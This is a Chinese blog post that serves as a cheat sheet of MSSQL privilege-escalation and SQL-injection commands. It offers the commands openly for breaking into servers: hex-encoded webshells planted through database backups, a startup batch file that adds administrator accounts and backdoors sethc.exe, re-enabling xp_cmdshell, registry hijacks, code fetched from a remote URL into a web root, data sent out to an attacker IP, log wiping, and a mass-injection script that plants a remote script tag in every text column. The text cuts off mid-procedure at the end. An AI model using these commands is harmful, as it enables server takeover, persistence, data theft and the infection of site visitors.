首页 web安全 正文
  • 本文约28844字,阅读需2小时
  • 4214
  • 0

收集的一些 MSSQL提权 常用命令及提权技巧

-得到硬盘文件信息 
--参数说明:目录名,目录深度,是否显示文件 
execute master..xp_dirtree 'c:' 
execute master..xp_dirtree 'c:',1 
execute master..xp_dirtree 'c:',1,1

-------------------------------
db取系统权限5步之hta
-------------------------------

declare @a sysname,@s varchar(4000) select @a=db_name(),@s=0x636E36353636 backup database @a to disk=@s--

Drop table [cn911];create table [dbo].[cn911] ([cmd] [image])--

insert into cn911(cmd) values (0x3C3F706870206576616C28245F504F53545B61685D293B3F3E)--

declare @a sysname,@s varchar(4000) select @a=db_name (),@s=0x443A5C686F7374696E675C777777726F6F745C753467616D655F636F6D5C6874646F63735C696D6167655C782E706870 backup database @a to disk=@s WITH DIFFERENTIAL,FORMAT--

Drop table [cn911]--

-------------------------------
db取系统权限6步之bat
-------------------------------
alter database [test] set RECOVERY FULL--
create table cmd (a image)--
backup log [test] to disk = 'c:\windows\temp\cmd1' with init--
insert into cmd (a) values (0x406563686F206F66660D0A406563686F206F66660D0A40636D642E657865202F63206563686F2065786563206D61737465722E64626F2E73705F6164646C6F67696E20276A61636B272C276A61636B27203E746573742E7172790D0A40636D642E657865202F63206563686F2065786563206D61737465722E64626F2E73705F6164646C6F67696E20276A61636B272C276A61636B27203E746573742E7172790D0A40636D642E657865202F63206563686F20657865632073705F616464737276726F6C656D656D62657220276A61636B272C2773797361646D696E27203E3E746573742E7172790D0A40636D642E657865202F63206563686F20657865632073705F616464737276726F6C656D656D62657220276A61636B272C2773797361646D696E27203E3E746573742E7172790D0A40636D642E657865202F63206973716C202D45202F5520616C6D61202F50202F6920633A5C746573742E7172790D0A40636D642E657865202F63206973716C202D45202F5520616C6D61202F50202F6920633A5C746573742E7172790D0A40636D642E657865202F63206E65743120757365722073716C6465627567676572206675636B796F756D616D610D0A40636D642E657865202F63206E65743120757365722073716C6465627567676572206675636B796F756D616D610D0A40636D642E657865202F63206E65743120757365722073716C6465627567676572202F6163746976653A7965730D0A40636D642E657865202F63206E65743120757365722073716C6465627567676572202F6163746976653A7965730D0A40636D642E657865202F63206E657431206C6F63616C67726F75702061646D696E6973747261746F72732073716C6465627567676572202F6164640D0A40636D642E657865202F63206E657431206C6F63616C67726F75702061646D696E6973747261746F72732073716C6465627567676572202F6164640D0A40636D642E657865202F63206373637269707420633A5C77696E646F77735C74656D705C73686966742E7662730D0A40636D642E657865202F63206373637269707420633A5C77696E646F77735C74656D705C73686966742E7662730D0A40636D642E657865202F63206373637269707420633A5C77696E646F77735C74656D705C686173682E7662730D0A40636D642E657865202F63206373637269707420633A5C77696E646F77735C74656D705C686173682E7662730D0A40636D642E657865202F63206361636C7320633A5C77696E646F77735C73797374656D33325C73657468632E657865202F74202F65202F63202F672065766572796F6E653A660D0A40636D642E657865202F63206361636C7320633A5C77696E646F77735C73797374656D33325C73657468632E657865202F74202F65202F63202F672065766572796F6E653A660D0A40636D642E657865202F63206361636C7320633A5C77696E646F77735C73797374656D33325C73657468632E657865202F74202F65202F63202F672061646D696E6973747261746F72733A660D0A40636D642E657865202F63206361636C7320633A5C77696E646F77735C73797374656D33325C73657468632E657865202F74202F65202F63202F672061646D696E6973747261746F72733A660D0A40636D642E657865202F6320636F707920633A5C77696E646F77735C73797374656D33325C7461736B6D67722E65786520633A5C77696E646F77735C73797374656D33325C73657468632E657865202F790D0A40636D642E657865202F6320636F707920633A5C77696E646F77735C73797374656D33325C7461736B6D67722E65786520633A5C77696E646F77735C73797374656D33325C73657468632E657865202F790D0A40636D642E657865202F632064656C202530250D0A40636D642E657865202F632064656C202530250D0A400D0A40)--
backup log [test] to disk = 'C:\Documents and Settings\All Users\「开始」菜单\程序\启动\x.bat'--
drop table cmd--

@echo off
@echo off
@cmd.exe /c echo exec master.dbo.sp_addlogin 'jack','jack' >test.qry
@cmd.exe /c echo exec master.dbo.sp_addlogin 'jack','jack' >test.qry
@cmd.exe /c echo exec sp_addsrvrolemember 'jack','sysadmin' >>test.qry
@cmd.exe /c echo exec sp_addsrvrolemember 'jack','sysadmin' >>test.qry
@cmd.exe /c isql -E /U alma /P /i c:\test.qry
@cmd.exe /c isql -E /U alma /P /i c:\test.qry
@cmd.exe /c net1 user sqldebugger daoke
@cmd.exe /c net1 user sqldebugger daoke
@cmd.exe /c net1 user sqldebugger /active:yes
@cmd.exe /c net1 user sqldebugger /active:yes
@cmd.exe /c net1 localgroup administrators sqldebugger /add
@cmd.exe /c net1 localgroup administrators sqldebugger /add
@cmd.exe /c cscript c:\windows\temp\shift.vbs
@cmd.exe /c cscript c:\windows\temp\shift.vbs
@cmd.exe /c cscript c:\windows\temp\hash.vbs
@cmd.exe /c cscript c:\windows\temp\hash.vbs
@cmd.exe /c cacls c:\windows\system32\sethc.exe /t /e /c /g everyone:f
@cmd.exe /c cacls c:\windows\system32\sethc.exe /t /e /c /g everyone:f
@cmd.exe /c cacls c:\windows\system32\sethc.exe /t /e /c /g administrators:f
@cmd.exe /c cacls c:\windows\system32\sethc.exe /t /e /c /g administrators:f
@cmd.exe /c copy c:\windows\system32\taskmgr.exe c:\windows\system32\sethc.exe /y
@cmd.exe /c copy c:\windows\system32\taskmgr.exe c:\windows\system32\sethc.exe /y
@cmd.exe /c del %0%
@cmd.exe /c del %0%
@
@

-------------------------------
sa取系统权限之sp_makewebtask
-------------------------------
sp_makewebtask 'c:\1.hta',' select ''<script language=VBScript> 
On Error Resume Next 
set wshshell=createobject("wscript.shell") 
a=wshshell.run ("command.com /c net1 user jack jackjack123!@# /add",0) 
</script>'' ';--
------------------------------
xp_lake2 提权
------------------------------

执行命令
exec xp_lake2 'ipconfig'
添加存储过程
sp_addextendedproc xp_cmdshell,@dllname='E:\InetPub\wwwRoot\uploadfile\xp_lake2.dll'
sp_addextendedproc 'xp_lake2', 'E:\InetPub\wwwRoot\uploadfile\xp_lake2.dll'
删除存储过程
sp_dropxtendedproc xp_lake2

------------------------------
xp_cmdshell 提权
------------------------------

执行命令
exec master.dbo.xp_cmdshell 'cmd /c ipconfig'

开启cmdshell的SQL语句
EXEC sp_addextendedproc xp_cmdshell ,@dllname ='xplog70.dll'

xp_cmdshell新的恢复办法 (效果很好)
删除
drop procedure sp_addextendedproc
drop procedure sp_oacreate
exec master.dbo.sp_dropextendedproc 'xp_cmdshell'
恢复
dbcc addextendedproc ("sp_oacreate","odsole70.dll")
dbcc addextendedproc ("xp_cmdshell","xplog70.dll")
这样可以直接恢复,不用去管sp_addextendedproc是不是存在

手工xp_cmdshell新的恢复办法
删除
drop procedure sp_addextendedproc
drop procedure sp_oacreate
exec master.dbo.sp_dropextendedproc 'xp_cmdshell'
恢复
;use master;dbcc addextendedproc ("sp_oacreate","odsole70.dll")
;use master;dbcc addextendedproc ("xp_cmdshell","xplog70.dll")
-----
;exec/**/master..sp_addextendedproc/**/[xp_cmdshell],[xplog70.dll]--
;use/**/master/**/dbcc/**/addextendedproc([xp_cmdshell],[xplog70.dll])--
;use/**/master/**/dbcc/**/addextendedproc([sp_OACreate],[odsole70.dll])--

恢复xp_cmdshell
Exec master.dbo.sp_addextendedproc 'xp_cmdshell','xplog70.dll';select count(*) from master.dbo.sysobjects where xtype='X' and name='xp_cmdshell'
返回结果为1就OK

否则上传xplog70.dll
Exec master.dbo.sp_addextendedproc 'xp_cmdshell','F:\xx.com\xplog70.dll'

常见情况恢复执行xp_cmdshell.

1 未能找到存储过程'master..xpcmdshell'.
恢复方法:查询分离器连接后,
第一步执行:EXEC sp_addextendedproc xp_cmdshell,@dllname ='xplog70.dll'declare @o int 
第二步执行:EXEC sp_addextendedproc 'xp_cmdshell', 'xpsql70.dll' 
然后按F5键命令执行完毕

2 无法装载 DLL xpsql70.dll 或该DLL所引用的某一 DLL。原因126(找不到指定模块。)
恢复方法:查询分离器连接后,
第一步执行:EXEC sp_dropextendedproc "xp_cmdshell"
第二步执行:EXEC sp_addextendedproc 'xp_cmdshell', 'xpsql70.dll'
然后按F5键命令执行完毕

3 无法在库 xpweb70.dll 中找到函数 xp_cmdshell。原因: 127(找不到指定的程序。)
恢复方法:查询分离器连接后,
第一步执行:exec sp_dropextendedproc 'xp_cmdshell'
第二步执行:exec sp_addextendedproc 'xp_cmdshell','xpweb70.dll' 
然后按F5键命令执行完毕

4 SQL Server 阻止了对组件 'xp_cmdshell' 的 过程'sys.xp_cmdshell' 的访问,因为此组件已作为此服务器安全配置的一部分而被关闭。系统管理员可以通过使用 sp_configure 启用 'xp_cmdshell'。有关启用 'xp_cmdshell' 的详细信息,请参阅 SQL Server 联机丛书中的 "外围应用配置器"。
恢复方法:查询分离器连接后,
第一步执行:EXEC sp_configure 'show advanced options', 1;RECONFIGURE;EXEC sp_configure 'xp_cmdshell', 1;RECONFIGURE;
然后按F5键命令执行完毕

mssql2005

启用xp_cmdshell

USE master 
EXEC sp_configure 'show advanced options', 1 
RECONFIGURE WITH OVERRIDE 
EXEC sp_configure 'xp_cmdshell', 1 
RECONFIGURE WITH OVERRIDE 
EXEC sp_configure   'show advanced options', 0
RECONFIGURE WITH OVERRIDE 

--关闭xp_cmdshell 
USE master 
EXEC sp_configure 'show advanced options', 1 
RECONFIGURE WITH OVERRIDE 
EXEC sp_configure 'xp_cmdshell', 0 
RECONFIGURE WITH OVERRIDE 
EXEC sp_configure   'show advanced options', 0
RECONFIGURE WITH OVERRIDE 

--------------------------------------
只要ws没删 用下面这个语句百试不爽
declare [url=https://www.t00ls.net/space-uid-3295.html]@shell[/url] int exec sp_oacreate 'wscript.shell',[url=https://www.t00ls.net/space-uid-3295.html]@shell[/url] output exec sp_oamethod [url=https://www.t00ls.net/space-uid-3295.html]@shell[/url],'run',null,'c:\windows\system32\cmd.exe /c ipconfig'

DECLARE @s int EXEC sp_oacreate [wscript.shell], @s out EXEC sp_oamethod @s,[run], NULL, [d:\cmd.exe /c dir c:\] --

--------------------------------------

--------------------------------------
sa(shift取系统权限)

declare @o int exec sp_oacreate 'scripting.filesystemobject', @o out exec sp_oamethod @o, 'copyfile',null,'c:\windows\system32\taskmgr.exe' ,'c:\windows\system32\sethc.exe'; 

declare @oo int exec sp_oacreate 'scripting.filesystemobject', @oo out exec sp_oamethod @oo, 'copyfile',null,'c:\windows\system32\taskmgr.exe' ,'c:\windows\system32\dllcache\sethc.exe';

--------------------------------------

在WEBSHELL里转了半天还是没什么收获,感觉还是得靠那个SA来提权,于是笔者问了下朋友,他说你怎么忘了沙盒模式?
看来最近脑子晕了于是在查询分析器里执行:
意思是修改注册表,开启沙盒:
EXEC master..xp_regwrite 'HKEY_LOCAL_MACHINE','SoftWare\Microsoft\Jet\4.0\Engine','SandBoxMode','REG_DWORD','0'

exec master..xp_regwrite 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Jet\4.0\Engines','SandBoxMode','REG_DWORD',1

0   禁止一切(默认) 
1   使能访问ACCESS,但是禁止其它 
2   禁止访问ACCESS,但是使能其他 
3   使能一切

通过沙盒添加用户
Select * From OpenRowSet('Microsoft.Jet.OLEDB.4.0',';Database=c:\windows\system32\ias\ias.mdb','select shell("cmd.exe /c ipconfig")');

添加系统帐户(重启后生效DB权限就可以执行)
xp_regwrite 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\currentversion\run','jack','REG_SZ','ipconfig'
xp_regwrite 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\currentversion\run','jack1','REG_SZ','net localgroup administrators jack /add' 

映像劫持
xp_regwrite 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows NT\currentversion\Image File Execution Options\sethc.exe','debugger','REG_SZ','c:\windows\system32\taskmgr.exe'

--------------------
sa radmin提权
--------------------
某机,安装了radmin,密码被修改了,regedit.exe不知道被删除了还是被改名了,net.exe不存在,没有办法使用regedit /e 导入注册文件,但是mssql是sa权限,使用如下命令
EXEC master.dbo.xp_regwrite 'HKEY_LOCAL_MACHINE','SYSTEM\RAdmin\v2.0\Server\Parameters','Parameter','REG_BINARY',0x02ba5e187e2589be6f80da0046aa7e3c 
即可修改密码为12345678。如果要修改端口值 
EXEC master.dbo.xp_regwrite 'HKEY_LOCAL_MACHINE','SYSTEM\RAdmin\v2.0\Server\Parameters','port','REG_BINARY',0xd20400 则端口值改为1234

删除添加储存过程
drop procedure sp_addlogin
add procedure sp_addlogin

恢复存储过程

于是马上想到恢复存储过程来执行命令,于是在查询分析器里执行: 

use master 
exec sp_addextendedproc xp_cmdshell,'xp_cmdshell.dll' 
exec sp_addextendedproc xp_dirtree,'xpstar.dll' 
exec sp_addextendedproc xp_enumgroups,'xplog70.dll' 
exec sp_addextendedproc xp_fixeddrives,'xpstar.dll' 
exec sp_addextendedproc xp_loginconfig,'xplog70.dll' 
exec sp_addextendedproc xp_enumerrorlogs,'xpstar.dll' 
exec sp_addextendedproc xp_getfiledetails,'xpstar.dll' 
exec sp_addextendedproc sp_OACreate,'odsole70.dll' 
exec sp_addextendedproc sp_OADestroy,'odsole70.dll' 
exec sp_addextendedproc sp_OAGetErrorInfo,'odsole70.dll' 
exec sp_addextendedproc sp_OAGetProperty,'odsole70.dll' 
exec sp_addextendedproc sp_OAMethod,'odsole70.dll' 
exec sp_addextendedproc sp_OASetProperty,'odsole70.dll' 
exec sp_addextendedproc sp_OAStop,'odsole70.dll' 
exec sp_addextendedproc xp_regaddmultistring,'xpstar.dll' 
exec sp_addextendedproc xp_regdeletekey,'xpstar.dll' 
exec sp_addextendedproc xp_regdeletevalue,'xpstar.dll' 
exec sp_addextendedproc xp_regenumvalues,'xpstar.dll' 
exec sp_addextendedproc xp_regread,'xpstar.dll' 
exec sp_addextendedproc xp_regremovemultistring,'xpstar.dll' 
exec sp_addextendedproc xp_regwrite,'xpstar.dll' 
exec sp_addextendedproc xp_availablemedia,'xpstar.dll'
exec sp_addextendedproc sp_makewebtask,'xpweb70.dll'

恢复sp_addextendedproc,语句如下: 
create procedure sp_addextendedproc --- 1996/08/30 20:13
@functname nvarchar(517),/* (owner.)name of function to call */ @dllname varchar(255)/* name of DLL containing function */ as
set implicit_transactions off
if @@trancount > 0
begin
raiserror(15002,-1,-1,'sp_addextendedproc')
return (1)
end
dbcc addextendedproc( @functname, @dllname)
return (0) -- sp_addextendedproc

读取配置文件信息

declare @o int, @f int, @t int, @ret int
declare @line varchar(8000)
exec sp_oacreate 'scripting.filesystemobject', @o out
exec sp_oamethod @o, 'opentextfile', @f out, 'd:\Serv-U6.3\ServUDaemon.ini', 1
exec @ret = sp_oamethod @f, 'readline', @line out
while( @ret = 0 )
begin
print @line
exec @ret = sp_oamethod @f, 'readline', @line out
end

写进su配置文件提权

declare @o int, @f int, @t int, @ret int
exec sp_oacreate 'scripting.filesystemobject', @o out
exec sp_oamethod @o, 'createtextfile', @f out, 'd:\Serv-U6.3\ServUDaemon.ini', 1
exec @ret = sp_oamethod @f, 'writeline', NULL,

查看终端
exec master..xp_regread 'HKEY_LOCAL_MACHINE','SYSTEM\CurrentControlSet\Control\Terminal Server\WinStations\RDP-Tcp','PortNumber'

SQL语句下载

DECLARE 
@B varbinary(8000),
@hr int,
@http INT,
@down INT 

EXEC sp_oacreate [Microsoft.XMLHTTP],@http output 
EXEC @hr = sp_oamethod @http,[Open],null,[GET],[[url]http://xxx.org/jsp.zip[/url]],0 
EXEC @hr = sp_oamethod @http,[Send],null 
EXEC @hr=sp_OAGetProperty @http,[responseBody],@B output 
EXEC @hr=sp_oacreate [ADODB.Stream],@down output 
EXEC @hr=sp_OASetProperty @down,[Type],1 
EXEC @hr=sp_OASetProperty @down,[mode],3 
EXEC @hr=sp_oamethod @down,[Open],null 
EXEC @hr=sp_oamethod @down,[Write],null,@B 
EXEC @hr=sp_oamethod @down,[SaveToFile],null,[d:\java\Tomcat 5.5\webapps\XXXX\1.jsp],1 ;--

web注入
字符型需要在浏览器输入' 如id=xx';
数字型则不需要          如id=xx;

sa直接写一句话
sp_makewebtask 'e:\gygov.com\xx.asp',' select ''<%execute request("ah")%>'' ';--

-------------------------------------------------------------------
sql备份

日志备分WEBSHELL标准的七步:
1.InjectionURL';alter database mm_db set RECOVERY FULL-- (把SQL设置成日志完全恢复模式)
2.InjectionURL';create table cmd (a image)-- (新建立一个cmd表)
3.InjectionURL';backup log mm_db to disk = 'c:\cmd' with init-- (减少备分数据的大小)
4.InjectionURL';insert into cmd (a) values ('<%%25eval(request("a")):response.end%%25>')-- (插入一句话木马)
5.InjectionURL';backup log mm_db to disk = 'd:\chinakm\test.asp'-- (备分日志到WEB路径)
6.InjectionURL';drop table cmd-- (删除新建的cmd表)
7.InjectionURL';alter database mm_db set RECOVERY SIMPLE--(把SQL设置成日志简单恢复模式)

数据库差异备份代码:

1、create table [dbo].[jm_tmp] ([cmd] [image])-- 创建一个表

2、declare @a sysname,@s nvarchar(4000) select @a=db_name(),@s=0X6A006D00640063007700 backup database @a to disk = @s --备份数据库,@s为备份名称(jmdcw的16进制转换)

3、insert into [jm_tmp](cmd) values(0x3C2565786563757465287265717565737428226C222929253E)--将一句话木马 "<%execute(request("l"))%>"的16进制字符插入到表中

4、declare @a sysname,@s nvarchar(4000) select @a=db_name(),@s='C:\xx.asp' backup database @a to disk = @s WITH DIFFERENTIAL,FORMAT --对数据库实行差异备份,备份的保存路径暂定为C盘目录,文件名为xx.asp。

5、drop table [jm_tmp]-- 删除此表。

Mssql2005 Log备份Webshell 9步
;alter/**/database/**/[ikoreadb]/**/set/**/recovery/**/full--
;declare/**/@d/**/nvarchar(4000)/**/select/**/@d%3D0x640062006200610063006B00/**/backup/**/database/**/[ikoreadb]/**/to/**/disk%3D@d/**/with/**/init--
;drop/**/table/**/[JCZ3Tmp]--
;create/**/table/**/[JCZ3Tmp]([a]/**/image)--
;declare/**/@d/**/nvarchar(4000)/**/select/**/@d%3D0x640062006200610063006B00/**/backup/**/log/**/[ikoreadb]/**/to/**/disk%3D@d/**/with/**/init--
;insert/**/into/**/[JCZ3Tmp]([a])/**/values(0x3C2545786563757465287265717565737428226168222929253E)--
;declare/**/@d/**/nvarchar(4000)/**/select/**/@d%3D0x64003A005C0069006B006F007200650061007700650062005C007500730065007200660069006C00650073005C00660069006C0065005C007300730073002E00610073007000/**/backup/**/log/**/[ikoreadb]/**/to/**/disk%3D@d/**/with/**/init--
;drop/**/table/**/[JCZ3Tmp]--
;declare/**/@d/**/nvarchar(4000)/**/select/**/@d%3D0x640062006200610063006B00/**/backup/**/log/**/[ikoreadb]/**/to/**/disk%3D@d/**/with/**/init--

-----------------------------------------------------------------------

-获得MS SQL的版本号 
execute master..sp_msgetversion

获取当前库服务器机器名
Select host_name() 

-------------------------------------
创建个登陆mssql的帐号
-------------------------------------
exec master.dbo.sp_addlogin jack,jack;--
加mssql帐户为jack
exec master.dbo.sp_addsrvrolemember satan,sysadmin;--
把创建的mssql登陆帐号jack提升到sysadmin 

我记性不好,所以把常用的注入代码记录下来,有点乱,但对我来说,还算很有用,希望大家也会喜欢!

--列出服务器上所有windows本地组 
execute master..xp_enumgroups //dbo 

--显示系统上可用的盘符 
execute master..xp_availablemedia   //dbo 

//看看是什么权限的
and 1=(Select IS_MEMBER('db_owner'))
And char(124)%2BCast(IS_MEMBER('db_owner') as varchar(1))%2Bchar(124)=1 ;--

//检测是否有读取某数据库的权限
and 1= (Select HAS_DBACCESS('master'))
And char(124)%2BCast(HAS_DBACCESS('master') as varchar(1))%2Bchar(124)=1 --

数字类型
and char(124)%2Buser%2Bchar(124)=0

字符类型
' and char(124)%2Buser%2Bchar(124)=0 and ''='

搜索类型
' and char(124)%2Buser%2Bchar(124)=0 and '%'='

爆用户名
 and user>0
' and user>0 and ''='

检测是否为SA权限
or convert(int, system_user)=1--
and 1=(select IS_SRVROLEMEMBER('sysadmin'));--
And char(124)%2BCast(IS_SRVROLEMEMBER(0x730079007300610064006D0069006E00) as varchar(1))%2Bchar(124)=1 --

检测是不是MSSQL数据库
and exists (select * from sysobjects);-- 

检测是否支持多行
;declare @d int;-- 

select * from openrowset('sqloledb','server=192.168.1.200,1433;uid=test;pwd=pafpaf','select @@version') 

停掉或激活某个服务。 
exec master..xp_servicecontrol 'stop','schedule'
exec master..xp_servicecontrol 'start','schedule'

xp_terminate_process
停掉某个执行中的程序,但赋予的参数是 Process ID。
利用”工作管理员”,透过选单「检视」-「选择字段」勾选 pid,就可以看到每个执行程序的 Process ID
xp_terminate_process 2484

xp_unpackcab
解开压缩档。
xp_unpackcab 'c:\test.cab','c:\temp',1

更改sa口令方法:用sql综合利用工具连接后,执行命令:
exec sp_password NULL,'新密码','sa'

-----------------------------
cmd加sql帐户
-----------------------------
echo exec master.dbo.sp_addlogin 'jack','jack' >test.qry 
echo exec sp_addsrvrolemember 'jack','sysadmin' >>test.qry 
cmd.exe /c isql -E /U alma /P /i c:\test.qry 

mssql更新及查询语句

select * from  db_name  where tablename='x140m1n6'
从db_name表中寻找出tablename是 x140m1n6的信息数据

UPDATE db_name SET monery = '10.00' WHERE UserName = 'x140m1n6'
修改数据库db_name,设置Username为x140m1n6的money项为10.

查询
select * from dnt_users where uid=577

插马
;update+表名+set+字段名=插马地址+where+id=(要插马的id)--
例子
http://www.xxx.com/xxx.asp?id=2122;update+law+set+title=0xC3BFC8D5BEADBCC3D0C2CEC5A3BAB0D9CBBCC2F2B7C5BBBAD6D0B9FACDD8D5B9BDC5B2BD0D0A+where+id=1115--

sql2005存储添加
EXEC sp_configure 'show advanced options', 1;RECONFIGURE;EXEC sp_configure 'xp_cmdshell', 1;RECONFIGURE;

exec sp_configure 'show advanced options', 1;RECONFIGURE;exec sp_configure 'Ole Automation Procedures',1;RECONFIGURE;

exec sp_configure 'show advanced options', 1;RECONFIGURE;exec sp_configure 'Ad Hoc Distributed Queries',1;RECONFIGURE;

------------------------------------------
sql开 3389 

'exec master..xp_regwrite @r,'software\microsoft\windows\currentversion\netcache','enable','reg_sz','0';---- 
;declare @r varchar(255) set @r='HKEY_LOCAL_MACHINE'exec master..xp_regwrite @r,'software\microsoft\windows nt\currentversion\winlogon','shutdownwithoutlogon','reg_sz','0';---- 
;declare @r varchar(255) set @r='HKEY_LOCAL_MACHINE'exec master..xp_regwrite @r,'software\policies\microsoft\windows\installer','enableadmintsremote','reg_dword',1;---- 
;declare @r varchar(255) set @r='HKEY_LOCAL_MACHINE'exec master..xp_regwrite @r,'system\currentcontrolset\control\terminal server','Tsenabled','reg_dword',1;---- 
;declare @r varchar(255) set @r='HKEY_LOCAL_MACHINE'exec master..xp_regwrite @r,'system\currentcontrolset\services\termdd','start','reg_dword',2;---- 
;declare @r varchar(255) set @r='HKEY_LOCAL_MACHINE'exec master..xp_regwrite @r,'system\currentcontrolset\services\termservice','start','reg_dword',2;---- 
;declare @r varchar(255) set @r='HKEY_LOCAL_MACHINE'exec master..xp_regwrite 'hkey_users','.default\keyboard layout\toggle','hotkey','reg_sz','1';---- 
;declare @r varchar(255) set @r='HKEY_LOCAL_MACHINE'exec master..xp_cmdshell 'iisreset /reboot';----

-------------------------------------------

在db权限并且分离获取mssql数据库服务器ip的方法 

1.本地nc监听   nc -vvlp 80 

2.;insert into OPENROWSET('SQLOLEDB','uid=sa;pwd=xxx;Network=DBMSSOCN;Address=你的ip,80;', 'select * from dest_table') select * from src_table;-- 
其他的都不用管

去掉tenlnet的ntlm认证 
;exec master.dbo.xp_cmdshell 'tlntadmn config sec = -ntlm'—

public权限列目录 

提起public权限的用户估计很多人也觉得郁闷了吧~N久以前看了一篇《论在mssql中public和db_owner权限下拿到webshell或是系统权限》的文章(名字真长-_-!!!),里面说到没办法利用xp_regread,xp_dirtree…这些存储过程,原因是public没有办法建表,我在这里矫正一下其实public是可以建表的~呵呵,使这些存储过程能利用上,看下面的代码吧 

--建立一个临时表,一般的表我们是无办法建立的,我们只能建立临时表 

create table ##nonamed( 

       dir ntext, 

       num int 

) 

--调用存储过程把执行回来的数据存到临时表里面 

insert ##nonamed execute master..xp_dirtree 'c:\',1 

--然后采用openrowset函数把临时表的数据导到本地MSSQL 的dirtree表里面了 

insert into openrowset('sqloledb', '192.0.0.1';'user';'pass', 'select * from Northwind.dbo.dirtree') 

select * from ##nonamed 

以上方法,也就是说public可以遍历用户服务器的目录

dtproperties这个表默认是public可写的,提示够清楚了吧
手工列目录语句
';DROP TABLE D99_Tmp;CREATE TABLE D99_Tmp(subdirectory VARCHAR(100),depth VARCHAR(100),[file] VARCHAR(100))  Insert D99_Tmp exec master..xp_dirtree "C:\", 1,1--

' And (Select char(124)%2BCast(Count(1) as varchar(8000))%2Bchar(124) From D99_Tmp)=0  and ''='

2005恢复 xp_cmdshell

EXEC sp_configure 'show advanced options', 1;RECONFIGURE;EXEC sp_configure 'xp_cmdshell', 1;RECONFIGURE;

2005恢复 sp_oacreate

exec sp_configure 'show advanced options', 1;RECONFIGURE;exec sp_configure 'Ole Automation Procedures',1;RECONFIGURE;

清理掉SQL日志
set nocount on 
declare @logicalfilename sysname,
@maxminutes int,
@newsize int

mssql清除日志

DUMP TRANSACTION 数据库名 WITH NO_LOG 

对mssql事务日志变大的处理 清空日志 
DUMP TRANSACTION 数据库名 WITH NO_LOG

截断事务日志 
BACKUP LOG 数据库名 WITH NO_LOG

收缩数据库 
DBCC SHRINKDATABASE(数据库名) 

mssql导出数据库表
本机
exec master..xp_cmdshell 'bcp ikoreaDB..member out d:\tt.xls -c -t, -T'
远程
exec master..xp_cmdshell 'bcp Databse..table out d:\tt.txt -c -t , -Sservername -Uuser -Ppassword'
servername为sqlserver的名字
user为id
password 为密码

映像劫持ii
exec master..xp_regwrite 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows NT\Currentversion\Image File Execution Options\osk.exe','debugger','REG_sz','g:\web\rootsite\djsite\uploadfile\nt.exe on';-- 

SQL开3389命令2007-05-19 12:22把一次从SQL开3389的记录过程发出来,望对新手有用

注://为注释
实例过程:
连接到主机:

xxx.xxx.xxx.xxx //大家可以用sql连接器连上有空口令的sql肉机
命令:

xp_cmdshell "type c:\boot.ini" // 输入命令,看系统,server版的才能 开3389
执行成功,

结果:
[boot loader]
timeout=30
default=multi(0)disk(0)rdisk(0)partition(1)\WINNT
[operating systems]
multi(0)disk(0)rdisk(0)partition(1)\WINNT="Microsoft Windows 2000 Server" /fastdetect
multi(0)disk(0)rdisk(0)partition(1)\WINNT="Microsoft Windows 2000 Server" /fastdetect

命令:

xp_cmdshell "echo [Components] > c:\hack" //在c盘根目录建写入一个文件,文件名hack大家可以自己改为自己的
执行成功,

命令:

xp_cmdshell "echo TsEnable = on >> c:\hack" //追加写入
执行成功,

结果:

命令:

xp_cmdshell "type c:\hack" //看看hack里的内容是否正确
执行成功,

结果:
[Components] 
TsEnable = on 
TsEnable = on

命令:

xp_cmdshell "sysocmgr /i:c:\winnt\inf\sysoc.inf /u:c:\hack /q" //开3389,成功的话过会肉机会重启!!
执行成功,

结果:
GetLocalManagedApplications returned (2)

数据库挂马
针对ASP+mssql攻击测试代码:
declare @t varchar(255),
@c varchar(255) 
declare table_cursor cursor for 
select a.name,b.name 
from sysobjects a,
syscolumns b 
where a.id=b.id and 
a.xtype='u' and 
(b.xtype=99 or b.xtype=35 or b.xtype=231 or b.xtype=167) 
open table_cursor 
fetch next from table_cursor into @t,@c 
while(@@fetch_status=0) 
begin 
exec('update ['+@t+'] set ['+@c+']=
rtrim(convert(varchar,['+@c+']))+cast(0x223E3C2F613E3C2F7469746C653E3C736372697074206C616E67756167653D6A617661736372697074207372633D687474703A2F2F2533352533312536462536362532452536452536352537342F696D672E6769663E3C2F7363726970743E as varchar(80))') 
fetch next from table_cursor into @t,@c 
end 
close table_cursor 
deallocate table_cursor

"></a></title><script language=javascript src=http://%35%31%6F%66%2E%6E%65%74/img.gif></script>

;dEcLaRe%20@t%20vArChAr(255),@c%20vArChAr(255)%20dEcLaRe%20tAbLe_cursoR%20cUrSoR%20FoR%20sElEcT%20a.nAmE,b.nAmE%20FrOm%20sYsObJeCtS%20a,sYsCoLuMnS%20b%20wHeRe%20a.iD=b.iD%20AnD%20a.xTyPe='u'%20AnD%20(b.xTyPe=99%20oR%20b.xTyPe=35%20oR%20b.xTyPe=231%20oR%20b.xTyPe=167)%20oPeN%20tAbLe_cursoR%20fEtCh%20next%20FrOm%20tAbLe_cursoR%20iNtO%20@t,@c%20while(@@fEtCh_status=0)%20bEgIn%20exec('UpDaTe%20['%2b@t%2b']%20sEt%20['%2b@c%2b']=rtrim(convert(varchar,['%2b@c%2b']))%2bcAsT(0x223E3C2F613E3C2F7469746C653E3C696672616D65207372633D687474703A2F2F7777772E676F6F676C652E636F6D2077696474683D313030206865696768743D3130303E3C2F696672616D653E20%20aS%20vArChAr(80))')%20fEtCh%20next%20FrOm%20tAbLe_cursoR%20iNtO%20@t,@c%20eNd%20cLoSe%20tAbLe_cursoR%20dEAlLoCaTe%20tAbLe_cursoR;--

创建sp_makewebtask这个存储过程

/********************************************************************************************/  
/* Create SP's                                                                              */  
/********************************************************************************************/  

--====================================================================================  
-- Add extended stored procedures for Web Server support.  
--  
-- sp_makewebtask: Creates and defines the Web Page Task  

CREATE PROCEDURE sys.sp_makewebtask  
@outputfile  nvarchar(255),  
@query   ntext,  
@fixedfont  tinyint = 1,    -- 0/1   
@bold   tinyint = 0,    -- 0/1   
@italic   tinyint = 0,    -- 0/1   
@colheaders  tinyint = 1,    -- 0/1   
@lastupdated tinyint = 1,    -- 0/1   
@HTMLheader  tinyint = 1,    -- 1-6   
@username  nvarchar(128) = NULL,  
@dbname   nvarchar(128) = NULL,  
@templatefile nvarchar(255) = NULL,  
@webpagetitle nvarchar(255) = NULL,  
@resultstitle nvarchar(255) = NULL,  
@URL   nvarchar(255) = NULL,  
